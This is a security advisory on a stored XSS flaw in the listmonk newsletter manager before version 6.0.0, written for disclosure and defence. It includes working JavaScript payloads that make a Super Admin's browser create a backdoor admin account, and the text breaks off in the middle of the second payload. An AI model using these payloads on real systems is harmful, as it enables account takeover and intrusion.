listmonk is a standalone, self-hosted, newsletter and mailing list manager. Prior to version 6.0.0, lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts. The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required. Version 6.0.0 fixes the issue.

Affected: Go: github.com/knadh/listmonk

## Security Advisory: Stored XSS Leading to Admin Account Takeover

**Affected Versions:** ≤ 5.1.0 **Vulnerability Type:** CWE-79: Stored Cross-Site Scripting

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## Summary

A lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts.

The attack can be weaponized via the **public archive feature**, where victims simply need to visit a link - no preview click required.

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## Required Attacker Permissions

``` campaigns:manage - Create/edit campaigns campaigns:get - View campaigns lists:get_all - Access lists templates:get - Access templates ```

**Note:** These are common permissions for content managers who are not full admins.

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## Attack Vectors

### Vector 1: Raw HTML (Direct Script Tag)

```html <script> fetch('/api/users', { method: 'POST', headers: {'Content-Type': 'application/json'}, credentials: 'include', body: '{"username":"backdoor","email":"backdoor@evil.com","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}' }); </script> ```

### Vector 2: Go Template `Safe` Function

``` {{ `<script>fetch('/api/users',{method:'POST',headers:{'Content-Type':'application/json'},credentials:'include',body:'{"…